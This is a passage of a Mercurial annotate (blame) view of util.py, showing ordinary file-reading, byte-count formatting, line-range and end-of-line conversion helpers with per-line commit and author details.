6ae14d1ca3aa util.chunkbuffer: avoid extra mutations when reading partial chunks Gregory Szorc <gregory.szorc@gmail.com> parents: 26479 diff changeset	2234 # queue. Our code below avoids this overhead.
6ae14d1ca3aa util.chunkbuffer: avoid extra mutations when reading partial chunks Gregory Szorc <gregory.szorc@gmail.com> parents: 26479 diff changeset	2235
26479 46143f31290e util.chunkbuffer: refactor chunk handling logic Gregory Szorc <gregory.szorc@gmail.com> parents: 26478 diff changeset	2236 chunk = queue[0]
46143f31290e util.chunkbuffer: refactor chunk handling logic Gregory Szorc <gregory.szorc@gmail.com> parents: 26478 diff changeset	2237 chunkl = len(chunk)
26480 6ae14d1ca3aa util.chunkbuffer: avoid extra mutations when reading partial chunks Gregory Szorc <gregory.szorc@gmail.com> parents: 26479 diff changeset	2238 offset = self._chunkoffset
26479 46143f31290e util.chunkbuffer: refactor chunk handling logic Gregory Szorc <gregory.szorc@gmail.com> parents: 26478 diff changeset	2239
46143f31290e util.chunkbuffer: refactor chunk handling logic Gregory Szorc <gregory.szorc@gmail.com> parents: 26478 diff changeset	2240 # Use full chunk.
26480 6ae14d1ca3aa util.chunkbuffer: avoid extra mutations when reading partial chunks Gregory Szorc <gregory.szorc@gmail.com> parents: 26479 diff changeset	2241 if offset == 0 and left >= chunkl:
26479 46143f31290e util.chunkbuffer: refactor chunk handling logic Gregory Szorc <gregory.szorc@gmail.com> parents: 26478 diff changeset	2242 left -= chunkl
46143f31290e util.chunkbuffer: refactor chunk handling logic Gregory Szorc <gregory.szorc@gmail.com> parents: 26478 diff changeset	2243 queue.popleft()
46143f31290e util.chunkbuffer: refactor chunk handling logic Gregory Szorc <gregory.szorc@gmail.com> parents: 26478 diff changeset	2244 buf.append(chunk)
26480 6ae14d1ca3aa util.chunkbuffer: avoid extra mutations when reading partial chunks Gregory Szorc <gregory.szorc@gmail.com> parents: 26479 diff changeset	2245 # self._chunkoffset remains at 0.
6ae14d1ca3aa util.chunkbuffer: avoid extra mutations when reading partial chunks Gregory Szorc <gregory.szorc@gmail.com> parents: 26479 diff changeset	2246 continue
6ae14d1ca3aa util.chunkbuffer: avoid extra mutations when reading partial chunks Gregory Szorc <gregory.szorc@gmail.com> parents: 26479 diff changeset	2247
6ae14d1ca3aa util.chunkbuffer: avoid extra mutations when reading partial chunks Gregory Szorc <gregory.szorc@gmail.com> parents: 26479 diff changeset	2248 chunkremaining = chunkl - offset
6ae14d1ca3aa util.chunkbuffer: avoid extra mutations when reading partial chunks Gregory Szorc <gregory.szorc@gmail.com> parents: 26479 diff changeset	2249
6ae14d1ca3aa util.chunkbuffer: avoid extra mutations when reading partial chunks Gregory Szorc <gregory.szorc@gmail.com> parents: 26479 diff changeset	2250 # Use all of unconsumed part of chunk.
6ae14d1ca3aa util.chunkbuffer: avoid extra mutations when reading partial chunks Gregory Szorc <gregory.szorc@gmail.com> parents: 26479 diff changeset	2251 if left >= chunkremaining:
6ae14d1ca3aa util.chunkbuffer: avoid extra mutations when reading partial chunks Gregory Szorc <gregory.szorc@gmail.com> parents: 26479 diff changeset	2252 left -= chunkremaining
6ae14d1ca3aa util.chunkbuffer: avoid extra mutations when reading partial chunks Gregory Szorc <gregory.szorc@gmail.com> parents: 26479 diff changeset	2253 queue.popleft()
6ae14d1ca3aa util.chunkbuffer: avoid extra mutations when reading partial chunks Gregory Szorc <gregory.szorc@gmail.com> parents: 26479 diff changeset	2254 # offset == 0 is enabled by block above, so this won't merely
6ae14d1ca3aa util.chunkbuffer: avoid extra mutations when reading partial chunks Gregory Szorc <gregory.szorc@gmail.com> parents: 26479 diff changeset	2255 # copy via ``chunk[0:]``.
6ae14d1ca3aa util.chunkbuffer: avoid extra mutations when reading partial chunks Gregory Szorc <gregory.szorc@gmail.com> parents: 26479 diff changeset	2256 buf.append(chunk[offset:])
6ae14d1ca3aa util.chunkbuffer: avoid extra mutations when reading partial chunks Gregory Szorc <gregory.szorc@gmail.com> parents: 26479 diff changeset	2257 self._chunkoffset = 0
6ae14d1ca3aa util.chunkbuffer: avoid extra mutations when reading partial chunks Gregory Szorc <gregory.szorc@gmail.com> parents: 26479 diff changeset	2258
26479 46143f31290e util.chunkbuffer: refactor chunk handling logic Gregory Szorc <gregory.szorc@gmail.com> parents: 26478 diff changeset	2259 # Partial chunk needed.
46143f31290e util.chunkbuffer: refactor chunk handling logic Gregory Szorc <gregory.szorc@gmail.com> parents: 26478 diff changeset	2260 else:
26480 6ae14d1ca3aa util.chunkbuffer: avoid extra mutations when reading partial chunks Gregory Szorc <gregory.szorc@gmail.com> parents: 26479 diff changeset	2261 buf.append(chunk[offset:offset + left])
6ae14d1ca3aa util.chunkbuffer: avoid extra mutations when reading partial chunks Gregory Szorc <gregory.szorc@gmail.com> parents: 26479 diff changeset	2262 self._chunkoffset += left
6ae14d1ca3aa util.chunkbuffer: avoid extra mutations when reading partial chunks Gregory Szorc <gregory.szorc@gmail.com> parents: 26479 diff changeset	2263 left -= chunkremaining
11758 a79214972da2 chunkbuffer: use += rather than cStringIO to reduce memory footprint Matt Mackall <mpm@selenic.com> parents: 11469 diff changeset	2264
17962 4c29668ca316 util: make chunkbuffer non-quadratic on Windows Matt Mackall <mpm@selenic.com> parents: 17560 diff changeset	2265 return ''.join(buf)
11758 a79214972da2 chunkbuffer: use += rather than cStringIO to reduce memory footprint Matt Mackall <mpm@selenic.com> parents: 11469 diff changeset	2266
30181 7356e6b1f5b8 util: increase filechunkiter size to 128k Mads Kiilerich <madski@unity3d.com> parents: 30087 diff changeset	2267 def filechunkiter(f, size=131072, limit=None):
2462 d610bcfd66a8 util: add limit to amount filechunkiter will read Vadim Gelfer <vadim.gelfer@gmail.com> parents: 2448 diff changeset	2268 """Create a generator that produces the data in the file size
30181 7356e6b1f5b8 util: increase filechunkiter size to 128k Mads Kiilerich <madski@unity3d.com> parents: 30087 diff changeset	2269 (default 131072) bytes at a time, up to optional limit (default is
2462 d610bcfd66a8 util: add limit to amount filechunkiter will read Vadim Gelfer <vadim.gelfer@gmail.com> parents: 2448 diff changeset	2270 to read all data). Chunks may be less than size bytes if the
d610bcfd66a8 util: add limit to amount filechunkiter will read Vadim Gelfer <vadim.gelfer@gmail.com> parents: 2448 diff changeset	2271 chunk is the last chunk in the file, or the file is a socket or
d610bcfd66a8 util: add limit to amount filechunkiter will read Vadim Gelfer <vadim.gelfer@gmail.com> parents: 2448 diff changeset	2272 some other type of file that sometimes reads less data than is
d610bcfd66a8 util: add limit to amount filechunkiter will read Vadim Gelfer <vadim.gelfer@gmail.com> parents: 2448 diff changeset	2273 requested."""
d610bcfd66a8 util: add limit to amount filechunkiter will read Vadim Gelfer <vadim.gelfer@gmail.com> parents: 2448 diff changeset	2274 assert size >= 0
d610bcfd66a8 util: add limit to amount filechunkiter will read Vadim Gelfer <vadim.gelfer@gmail.com> parents: 2448 diff changeset	2275 assert limit is None or limit >= 0
d610bcfd66a8 util: add limit to amount filechunkiter will read Vadim Gelfer <vadim.gelfer@gmail.com> parents: 2448 diff changeset	2276 while True:
10282 08a0f04b56bd many, many trivial check-code fixups Matt Mackall <mpm@selenic.com> parents: 10264 diff changeset	2277 if limit is None:
08a0f04b56bd many, many trivial check-code fixups Matt Mackall <mpm@selenic.com> parents: 10264 diff changeset	2278 nbytes = size
08a0f04b56bd many, many trivial check-code fixups Matt Mackall <mpm@selenic.com> parents: 10264 diff changeset	2279 else:
08a0f04b56bd many, many trivial check-code fixups Matt Mackall <mpm@selenic.com> parents: 10264 diff changeset	2280 nbytes = min(limit, size)
2462 d610bcfd66a8 util: add limit to amount filechunkiter will read Vadim Gelfer <vadim.gelfer@gmail.com> parents: 2448 diff changeset	2281 s = nbytes and f.read(nbytes)
10282 08a0f04b56bd many, many trivial check-code fixups Matt Mackall <mpm@selenic.com> parents: 10264 diff changeset	2282 if not s:
08a0f04b56bd many, many trivial check-code fixups Matt Mackall <mpm@selenic.com> parents: 10264 diff changeset	2283 break
08a0f04b56bd many, many trivial check-code fixups Matt Mackall <mpm@selenic.com> parents: 10264 diff changeset	2284 if limit:
08a0f04b56bd many, many trivial check-code fixups Matt Mackall <mpm@selenic.com> parents: 10264 diff changeset	2285 limit -= len(s)
1199 78ceaf83f28f Created a class in util called chunkbuffer that buffers reads from an Eric Hopper <hopper@omnifarious.org> parents: 1169 diff changeset	2286 yield s
1320 5f277e73778f Fix up representation of dates in hgweb. Bryan O'Sullivan <bos@serpentine.com> parents: 1312 diff changeset	2287
36395 01e29e885600 util: add a file object proxy that can read at most N bytes Gregory Szorc <gregory.szorc@gmail.com> parents: 36299 diff changeset	2288 class cappedreader(object):
01e29e885600 util: add a file object proxy that can read at most N bytes Gregory Szorc <gregory.szorc@gmail.com> parents: 36299 diff changeset	2289 """A file object proxy that allows reading up to N bytes.
01e29e885600 util: add a file object proxy that can read at most N bytes Gregory Szorc <gregory.szorc@gmail.com> parents: 36299 diff changeset	2290
01e29e885600 util: add a file object proxy that can read at most N bytes Gregory Szorc <gregory.szorc@gmail.com> parents: 36299 diff changeset	2291 Given a source file object, instances of this type allow reading up to
01e29e885600 util: add a file object proxy that can read at most N bytes Gregory Szorc <gregory.szorc@gmail.com> parents: 36299 diff changeset	2292 N bytes from that source file object. Attempts to read past the allowed
01e29e885600 util: add a file object proxy that can read at most N bytes Gregory Szorc <gregory.szorc@gmail.com> parents: 36299 diff changeset	2293 limit are treated as EOF.
01e29e885600 util: add a file object proxy that can read at most N bytes Gregory Szorc <gregory.szorc@gmail.com> parents: 36299 diff changeset	2294
01e29e885600 util: add a file object proxy that can read at most N bytes Gregory Szorc <gregory.szorc@gmail.com> parents: 36299 diff changeset	2295 It is assumed that I/O is not performed on the original file object
01e29e885600 util: add a file object proxy that can read at most N bytes Gregory Szorc <gregory.szorc@gmail.com> parents: 36299 diff changeset	2296 in addition to I/O that is performed by this instance. If there is,
01e29e885600 util: add a file object proxy that can read at most N bytes Gregory Szorc <gregory.szorc@gmail.com> parents: 36299 diff changeset	2297 state tracking will get out of sync and unexpected results will ensue.
01e29e885600 util: add a file object proxy that can read at most N bytes Gregory Szorc <gregory.szorc@gmail.com> parents: 36299 diff changeset	2298 """
01e29e885600 util: add a file object proxy that can read at most N bytes Gregory Szorc <gregory.szorc@gmail.com> parents: 36299 diff changeset	2299 def __init__(self, fh, limit):
01e29e885600 util: add a file object proxy that can read at most N bytes Gregory Szorc <gregory.szorc@gmail.com> parents: 36299 diff changeset	2300 """Allow reading up to <limit> bytes from <fh>."""
01e29e885600 util: add a file object proxy that can read at most N bytes Gregory Szorc <gregory.szorc@gmail.com> parents: 36299 diff changeset	2301 self._fh = fh
01e29e885600 util: add a file object proxy that can read at most N bytes Gregory Szorc <gregory.szorc@gmail.com> parents: 36299 diff changeset	2302 self._left = limit
01e29e885600 util: add a file object proxy that can read at most N bytes Gregory Szorc <gregory.szorc@gmail.com> parents: 36299 diff changeset	2303
01e29e885600 util: add a file object proxy that can read at most N bytes Gregory Szorc <gregory.szorc@gmail.com> parents: 36299 diff changeset	2304 def read(self, n=-1):
01e29e885600 util: add a file object proxy that can read at most N bytes Gregory Szorc <gregory.szorc@gmail.com> parents: 36299 diff changeset	2305 if not self._left:
01e29e885600 util: add a file object proxy that can read at most N bytes Gregory Szorc <gregory.szorc@gmail.com> parents: 36299 diff changeset	2306 return b''
01e29e885600 util: add a file object proxy that can read at most N bytes Gregory Szorc <gregory.szorc@gmail.com> parents: 36299 diff changeset	2307
01e29e885600 util: add a file object proxy that can read at most N bytes Gregory Szorc <gregory.szorc@gmail.com> parents: 36299 diff changeset	2308 if n < 0:
01e29e885600 util: add a file object proxy that can read at most N bytes Gregory Szorc <gregory.szorc@gmail.com> parents: 36299 diff changeset	2309 n = self._left
01e29e885600 util: add a file object proxy that can read at most N bytes Gregory Szorc <gregory.szorc@gmail.com> parents: 36299 diff changeset	2310
01e29e885600 util: add a file object proxy that can read at most N bytes Gregory Szorc <gregory.szorc@gmail.com> parents: 36299 diff changeset	2311 data = self._fh.read(min(n, self._left))
01e29e885600 util: add a file object proxy that can read at most N bytes Gregory Szorc <gregory.szorc@gmail.com> parents: 36299 diff changeset	2312 self._left -= len(data)
01e29e885600 util: add a file object proxy that can read at most N bytes Gregory Szorc <gregory.szorc@gmail.com> parents: 36299 diff changeset	2313 assert self._left >= 0
01e29e885600 util: add a file object proxy that can read at most N bytes Gregory Szorc <gregory.szorc@gmail.com> parents: 36299 diff changeset	2314
01e29e885600 util: add a file object proxy that can read at most N bytes Gregory Szorc <gregory.szorc@gmail.com> parents: 36299 diff changeset	2315 return data
01e29e885600 util: add a file object proxy that can read at most N bytes Gregory Szorc <gregory.szorc@gmail.com> parents: 36299 diff changeset	2316
37055 8c3c47362934 wireproto: implement basic frame reading and processing Gregory Szorc <gregory.szorc@gmail.com> parents: 37047 diff changeset	2317 def readinto(self, b):
8c3c47362934 wireproto: implement basic frame reading and processing Gregory Szorc <gregory.szorc@gmail.com> parents: 37047 diff changeset	2318 res = self.read(len(b))
8c3c47362934 wireproto: implement basic frame reading and processing Gregory Szorc <gregory.szorc@gmail.com> parents: 37047 diff changeset	2319 if res is None:
8c3c47362934 wireproto: implement basic frame reading and processing Gregory Szorc <gregory.szorc@gmail.com> parents: 37047 diff changeset	2320 return None
8c3c47362934 wireproto: implement basic frame reading and processing Gregory Szorc <gregory.szorc@gmail.com> parents: 37047 diff changeset	2321
8c3c47362934 wireproto: implement basic frame reading and processing Gregory Szorc <gregory.szorc@gmail.com> parents: 37047 diff changeset	2322 b[0:len(res)] = res
8c3c47362934 wireproto: implement basic frame reading and processing Gregory Szorc <gregory.szorc@gmail.com> parents: 37047 diff changeset	2323 return len(res)
8c3c47362934 wireproto: implement basic frame reading and processing Gregory Szorc <gregory.szorc@gmail.com> parents: 37047 diff changeset	2324
18735 716cad930691 util: generalize bytecount to unitcountfn Bryan O'Sullivan <bryano@fb.com> parents: 18678 diff changeset	2325 def unitcountfn(*unittable):
716cad930691 util: generalize bytecount to unitcountfn Bryan O'Sullivan <bryano@fb.com> parents: 18678 diff changeset	2326 '''return a function that renders a readable count of some quantity'''
716cad930691 util: generalize bytecount to unitcountfn Bryan O'Sullivan <bryano@fb.com> parents: 18678 diff changeset	2327
716cad930691 util: generalize bytecount to unitcountfn Bryan O'Sullivan <bryano@fb.com> parents: 18678 diff changeset	2328 def go(count):
716cad930691 util: generalize bytecount to unitcountfn Bryan O'Sullivan <bryano@fb.com> parents: 18678 diff changeset	2329 for multiplier, divisor, format in unittable:
31946 f3b80537a70d util: fix human-readable printing of negative byte counts G?bor Stefanik <gabor.stefanik@nng.com> parents: 31934 diff changeset	2330 if abs(count) >= divisor * multiplier:
18735 716cad930691 util: generalize bytecount to unitcountfn Bryan O'Sullivan <bryano@fb.com> parents: 18678 diff changeset	2331 return format % (count / float(divisor))
716cad930691 util: generalize bytecount to unitcountfn Bryan O'Sullivan <bryano@fb.com> parents: 18678 diff changeset	2332 return unittable[-1][2] % count
716cad930691 util: generalize bytecount to unitcountfn Bryan O'Sullivan <bryano@fb.com> parents: 18678 diff changeset	2333
716cad930691 util: generalize bytecount to unitcountfn Bryan O'Sullivan <bryano@fb.com> parents: 18678 diff changeset	2334 return go
716cad930691 util: generalize bytecount to unitcountfn Bryan O'Sullivan <bryano@fb.com> parents: 18678 diff changeset	2335
31667 080734cd2440 revset: factor out linerange processing into a utility function Denis Laxalde <denis.laxalde@logilab.fr> parents: 31603 diff changeset	2336 def processlinerange(fromline, toline):
080734cd2440 revset: factor out linerange processing into a utility function Denis Laxalde <denis.laxalde@logilab.fr> parents: 31603 diff changeset	2337 """Check that linerange <fromline>:<toline> makes sense and return a
080734cd2440 revset: factor out linerange processing into a utility function Denis Laxalde <denis.laxalde@logilab.fr> parents: 31603 diff changeset	2338 0-based range.
080734cd2440 revset: factor out linerange processing into a utility function Denis Laxalde <denis.laxalde@logilab.fr> parents: 31603 diff changeset	2339
080734cd2440 revset: factor out linerange processing into a utility function Denis Laxalde <denis.laxalde@logilab.fr> parents: 31603 diff changeset	2340 >>> processlinerange(10, 20)
080734cd2440 revset: factor out linerange processing into a utility function Denis Laxalde <denis.laxalde@logilab.fr> parents: 31603 diff changeset	2341 (9, 20)
080734cd2440 revset: factor out linerange processing into a utility function Denis Laxalde <denis.laxalde@logilab.fr> parents: 31603 diff changeset	2342 >>> processlinerange(2, 1)
080734cd2440 revset: factor out linerange processing into a utility function Denis Laxalde <denis.laxalde@logilab.fr> parents: 31603 diff changeset	2343 Traceback (most recent call last):
080734cd2440 revset: factor out linerange processing into a utility function Denis Laxalde <denis.laxalde@logilab.fr> parents: 31603 diff changeset	2344 ...
080734cd2440 revset: factor out linerange processing into a utility function Denis Laxalde <denis.laxalde@logilab.fr> parents: 31603 diff changeset	2345 ParseError: line range must be positive
080734cd2440 revset: factor out linerange processing into a utility function Denis Laxalde <denis.laxalde@logilab.fr> parents: 31603 diff changeset	2346 >>> processlinerange(0, 5)
080734cd2440 revset: factor out linerange processing into a utility function Denis Laxalde <denis.laxalde@logilab.fr> parents: 31603 diff changeset	2347 Traceback (most recent call last):
080734cd2440 revset: factor out linerange processing into a utility function Denis Laxalde <denis.laxalde@logilab.fr> parents: 31603 diff changeset	2348 ...
080734cd2440 revset: factor out linerange processing into a utility function Denis Laxalde <denis.laxalde@logilab.fr> parents: 31603 diff changeset	2349 ParseError: fromline must be strictly positive
080734cd2440 revset: factor out linerange processing into a utility function Denis Laxalde <denis.laxalde@logilab.fr> parents: 31603 diff changeset	2350 """
080734cd2440 revset: factor out linerange processing into a utility function Denis Laxalde <denis.laxalde@logilab.fr> parents: 31603 diff changeset	2351 if toline - fromline < 0:
080734cd2440 revset: factor out linerange processing into a utility function Denis Laxalde <denis.laxalde@logilab.fr> parents: 31603 diff changeset	2352 raise error.ParseError(_("line range must be positive"))
080734cd2440 revset: factor out linerange processing into a utility function Denis Laxalde <denis.laxalde@logilab.fr> parents: 31603 diff changeset	2353 if fromline < 1:
080734cd2440 revset: factor out linerange processing into a utility function Denis Laxalde <denis.laxalde@logilab.fr> parents: 31603 diff changeset	2354 raise error.ParseError(_("fromline must be strictly positive"))
080734cd2440 revset: factor out linerange processing into a utility function Denis Laxalde <denis.laxalde@logilab.fr> parents: 31603 diff changeset	2355 return fromline - 1, toline
080734cd2440 revset: factor out linerange processing into a utility function Denis Laxalde <denis.laxalde@logilab.fr> parents: 31603 diff changeset	2356
18735 716cad930691 util: generalize bytecount to unitcountfn Bryan O'Sullivan <bryano@fb.com> parents: 18678 diff changeset	2357 bytecount = unitcountfn(
16397 f0f7f3fab315 util: create bytecount array just once Matt Mackall <mpm@selenic.com> parents: 16383 diff changeset	2358 (100, 1 << 30, _('%.0f GB')),
f0f7f3fab315 util: create bytecount array just once Matt Mackall <mpm@selenic.com> parents: 16383 diff changeset	2359 (10, 1 << 30, _('%.1f GB')),
f0f7f3fab315 util: create bytecount array just once Matt Mackall <mpm@selenic.com> parents: 16383 diff changeset	2360 (1, 1 << 30, _('%.2f GB')),
f0f7f3fab315 util: create bytecount array just once Matt Mackall <mpm@selenic.com> parents: 16383 diff changeset	2361 (100, 1 << 20, _('%.0f MB')),
f0f7f3fab315 util: create bytecount array just once Matt Mackall <mpm@selenic.com> parents: 16383 diff changeset	2362 (10, 1 << 20, _('%.1f MB')),
f0f7f3fab315 util: create bytecount array just once Matt Mackall <mpm@selenic.com> parents: 16383 diff changeset	2363 (1, 1 << 20, _('%.2f MB')),
f0f7f3fab315 util: create bytecount array just once Matt Mackall <mpm@selenic.com> parents: 16383 diff changeset	2364 (100, 1 << 10, _('%.0f KB')),
f0f7f3fab315 util: create bytecount array just once Matt Mackall <mpm@selenic.com> parents: 16383 diff changeset	2365 (10, 1 << 10, _('%.1f KB')),
f0f7f3fab315 util: create bytecount array just once Matt Mackall <mpm@selenic.com> parents: 16383 diff changeset	2366 (1, 1 << 10, _('%.2f KB')),
f0f7f3fab315 util: create bytecount array just once Matt Mackall <mpm@selenic.com> parents: 16383 diff changeset	2367 (1, 1, _('%.0f bytes')),
f0f7f3fab315 util: create bytecount array just once Matt Mackall <mpm@selenic.com> parents: 16383 diff changeset	2368 )
f0f7f3fab315 util: create bytecount array just once Matt Mackall <mpm@selenic.com> parents: 16383 diff changeset	2369
36845 472c68cda3f8 py3: wrap file object to write patch in native eol preserving byte-ness Yuya Nishihara <yuya@tcha.org> parents: 36843 diff changeset	2370 class transformingwriter(object):
472c68cda3f8 py3: wrap file object to write patch in native eol preserving byte-ness Yuya Nishihara <yuya@tcha.org> parents: 36843 diff changeset	2371 """Writable file wrapper to transform data by function"""
472c68cda3f8 py3: wrap file object to write patch in native eol preserving byte-ness Yuya Nishihara <yuya@tcha.org> parents: 36843 diff changeset	2372
472c68cda3f8 py3: wrap file object to write patch in native eol preserving byte-ness Yuya Nishihara <yuya@tcha.org> parents: 36843 diff changeset	2373 def __init__(self, fp, encode):
472c68cda3f8 py3: wrap file object to write patch in native eol preserving byte-ness Yuya Nishihara <yuya@tcha.org> parents: 36843 diff changeset	2374 self._fp = fp
472c68cda3f8 py3: wrap file object to write patch in native eol preserving byte-ness Yuya Nishihara <yuya@tcha.org> parents: 36843 diff changeset	2375 self._encode = encode
472c68cda3f8 py3: wrap file object to write patch in native eol preserving byte-ness Yuya Nishihara <yuya@tcha.org> parents: 36843 diff changeset	2376
472c68cda3f8 py3: wrap file object to write patch in native eol preserving byte-ness Yuya Nishihara <yuya@tcha.org> parents: 36843 diff changeset	2377 def close(self):
472c68cda3f8 py3: wrap file object to write patch in native eol preserving byte-ness Yuya Nishihara <yuya@tcha.org> parents: 36843 diff changeset	2378 self._fp.close()
472c68cda3f8 py3: wrap file object to write patch in native eol preserving byte-ness Yuya Nishihara <yuya@tcha.org> parents: 36843 diff changeset	2379
472c68cda3f8 py3: wrap file object to write patch in native eol preserving byte-ness Yuya Nishihara <yuya@tcha.org> parents: 36843 diff changeset	2380 def flush(self):
472c68cda3f8 py3: wrap file object to write patch in native eol preserving byte-ness Yuya Nishihara <yuya@tcha.org> parents: 36843 diff changeset	2381 self._fp.flush()
472c68cda3f8 py3: wrap file object to write patch in native eol preserving byte-ness Yuya Nishihara <yuya@tcha.org> parents: 36843 diff changeset	2382
472c68cda3f8 py3: wrap file object to write patch in native eol preserving byte-ness Yuya Nishihara <yuya@tcha.org> parents: 36843 diff changeset	2383 def write(self, data):
472c68cda3f8 py3: wrap file object to write patch in native eol preserving byte-ness Yuya Nishihara <yuya@tcha.org> parents: 36843 diff changeset	2384 return self._fp.write(self._encode(data))
472c68cda3f8 py3: wrap file object to write patch in native eol preserving byte-ness Yuya Nishihara <yuya@tcha.org> parents: 36843 diff changeset	2385
31779 fe9b33bcec6a util: extract pure tolf/tocrlf() functions from eol extension Yuya Nishihara <yuya@tcha.org> parents: 31725 diff changeset	2386 # Matches a single EOL which can either be a CRLF where repeated CR
fe9b33bcec6a util: extract pure tolf/tocrlf() functions from eol extension Yuya Nishihara <yuya@tcha.org> parents: 31725 diff changeset	2387 # are removed or a LF. We do not care about old Macintosh files, so a
fe9b33bcec6a util: extract pure tolf/tocrlf() functions from eol extension Yuya Nishihara <yuya@tcha.org> parents: 31725 diff changeset	2388 # stray CR is an error.
fe9b33bcec6a util: extract pure tolf/tocrlf() functions from eol extension Yuya Nishihara <yuya@tcha.org> parents: 31725 diff changeset	2389 _eolre = remod.compile(br'\r*\n')
fe9b33bcec6a util: extract pure tolf/tocrlf() functions from eol extension Yuya Nishihara <yuya@tcha.org> parents: 31725 diff changeset	2390
fe9b33bcec6a util: extract pure tolf/tocrlf() functions from eol extension Yuya Nishihara <yuya@tcha.org> parents: 31725 diff changeset	2391 def tolf(s):
fe9b33bcec6a util: extract pure tolf/tocrlf() functions from eol extension Yuya Nishihara <yuya@tcha.org> parents: 31725 diff changeset	2392 return _eolre.sub('\n', s)
fe9b33bcec6a util: extract pure tolf/tocrlf() functions from eol extension Yuya Nishihara <yuya@tcha.org> parents: 31725 diff changeset	2393
fe9b33bcec6a util: extract pure tolf/tocrlf() functions from eol extension Yuya Nishihara <yuya@tcha.org> parents: 31725 diff changeset	2394 def tocrlf(s):
fe9b33bcec6a util: extract pure tolf/tocrlf() functions from eol extension Yuya Nishihara <yuya@tcha.org> parents: 31725 diff changeset	2395 return _eolre.sub('\r\n', s)
fe9b33bcec6a util: extract pure tolf/tocrlf() functions from eol extension Yuya Nishihara <yuya@tcha.org> parents: 31725 diff changeset	2396
36845 472c68cda3f8 py3: wrap file object to write patch in native eol preserving byte-ness Yuya Nishihara <yuya@tcha.org> parents: 36843 diff changeset	2397 def _crlfwriter(fp):
472c68cda3f8 py3: wrap file object to write patch in native eol preserving byte-ness Yuya Nishihara <yuya@tcha.org> parents: 36843 diff changeset	2398 return transformingwriter(fp, tocrlf)
472c68cda3f8 py3: wrap file object to write patch in native eol preserving byte-ness Yuya Nishihara <yuya@tcha.org> parents: 36843 diff changeset	2399
31780 6a5b69b0abec util: add helper to convert between LF and native EOL Yuya Nishihara <yuya@tcha.org> parents: 31779 diff changeset	2400 if pycompat.oslinesep == '\r\n':
6a5b69b0abec util: add helper to convert between LF and native EOL Yuya Nishihara <yuya@tcha.org> parents: 31779 diff changeset	2401 tonativeeol = tocrlf
6a5b69b0abec util: add helper to convert between LF and native EOL Yuya Nishihara <yuya@tcha.org> parents: 31779 diff changeset	2402 fromnativeeol = tolf
36845 472c68cda3f8 py3: wrap file object to write patch in native eol preserving byte-ness Yuya Nishihara <yuya@tcha.org> parents: 36843 diff changeset	2403 nativeeolwriter = _crlfwriter
31780 6a5b69b0abec util: add helper to convert between LF and native EOL Yuya Nishihara <yuya@tcha.org> parents: 31779 diff changeset	2404 else:
6a5b69b0abec util: add helper to convert between LF and native EOL Yuya Nishihara <yuya@tcha.org> parents: 31779 diff changeset	2405 tonativeeol = pycompat.identity
6a5b69b0abec util: add helper to convert between LF and native EOL Yuya Nishihara <yuya@tcha.org> parents: 31779 diff changeset	2406 fromnativeeol = pycompat.identity
36845 472c68cda3f8 py3: wrap file object to write patch in native eol preserving byte-ness Yuya Nishihara <yuya@tcha.org> parents: 36843 diff changeset	2407 nativeeolwriter = pycompat.identity
31780 6a5b69b0abec util: add helper to convert between LF and native EOL Yuya Nishihara <yuya@tcha.org> parents: 31779 diff changeset	2408
30428 1156ec81f709 util: improve iterfile so it chooses code path wisely Jun Wu <quark@fb.com> parents: 30427 diff changeset	2409 if (pyplatform.python_implementation() == 'CPython' and
1156ec81f709 util: improve iterfile so it chooses code path wisely Jun Wu <quark@fb.com> parents: 30427 diff changeset	2410 sys.version_info < (3, 0)):
1156ec81f709 util: improve iterfile so it chooses code path wisely Jun Wu <quark@fb.com> parents: 30427 diff changeset	2411 # There is an issue in CPython that some IO methods do not handle EINTR
1156ec81f709 util: improve iterfile so it chooses code path wisely Jun Wu <quark@fb.com> parents: 30427 diff changeset	2412 # correctly. The following table shows what CPython version (and functions)
1156ec81f709 util: improve iterfile so it chooses code path wisely Jun Wu <quark@fb.com> parents: 30427 diff changeset	2413 # are affected (buggy: has the EINTR bug, okay: otherwise):
1156ec81f709 util: improve iterfile so it chooses code path wisely Jun Wu <quark@fb.com> parents: 30427 diff changeset	2414 #
1156ec81f709 util: improve iterfile so it chooses code path wisely Jun Wu <quark@fb.com> parents: 30427 diff changeset	2415 # \| < 2.7.4 \| 2.7.4 to 2.7.12 \| >= 3.0
1156ec81f709 util: improve iterfile so it chooses code path wisely Jun Wu <quark@fb.com> parents: 30427 diff changeset	2416 # --------------------------------------------------
1156ec81f709 util: improve iterfile so it chooses code path wisely Jun Wu <quark@fb.com> parents: 30427 diff changeset	2417 # fp.__iter__ \| buggy \| buggy \| okay
1156ec81f709 util: improve iterfile so it chooses code path wisely Jun Wu <quark@fb.com> parents: 30427 diff changeset	2418 # fp.read* \| buggy \| okay [1] \| okay
1156ec81f709 util: improve iterfile so it chooses code path wisely Jun Wu <quark@fb.com> parents: 30427 diff changeset	2419 #
1156ec81f709 util: improve iterfile so it chooses code path wisely Jun Wu <quark@fb.com> parents: 30427 diff changeset	2420 # [1]: fixed by changeset 67dc99a989cd in the cpython hg repo.
1156ec81f709 util: improve iterfile so it chooses code path wisely Jun Wu <quark@fb.com> parents: 30427 diff changeset	2421 #
1156ec81f709 util: improve iterfile so it chooses code path wisely Jun Wu <quark@fb.com> parents: 30427 diff changeset	2422 # Here we workaround the EINTR issue for fileobj.__iter__. Other methods
1156ec81f709 util: improve iterfile so it chooses code path wisely Jun Wu <quark@fb.com> parents: 30427 diff changeset	2423 # like "read*" are ignored for now, as Python < 2.7.4 is a minority.
1156ec81f709 util: improve iterfile so it chooses code path wisely Jun Wu <quark@fb.com> parents: 30427 diff changeset	2424 #
1156ec81f709 util: improve iterfile so it chooses code path wisely Jun Wu <quark@fb.com> parents: 30427 diff changeset	2425 # Although we can workaround the EINTR issue for fp.__iter__, it is slower:
1156ec81f709 util: improve iterfile so it chooses code path wisely Jun Wu <quark@fb.com> parents: 30427 diff changeset	2426 # "for x in fp" is 4x faster than "for x in iter(fp.readline, '')" in
1156ec81f709 util: improve iterfile so it chooses code path wisely Jun Wu <quark@fb.com> parents: 30427 diff changeset	2427 # CPython 2, because CPython 2 maintains an internal readahead buffer for
1156ec81f709 util: improve iterfile so it chooses code path wisely Jun Wu <quark@fb.com> parents: 30427 diff changeset	2428 # fp.__iter__ but not other fp.read* methods.
1156ec81f709 util: improve iterfile so it chooses code path wisely Jun Wu <quark@fb.com> parents: 30427 diff changeset	2429 #
1156ec81f709 util: improve iterfile so it chooses code path wisely Jun Wu <quark@fb.com> parents: 30427 diff changeset	2430 # On modern systems like Linux, the "read" syscall cannot be interrupted
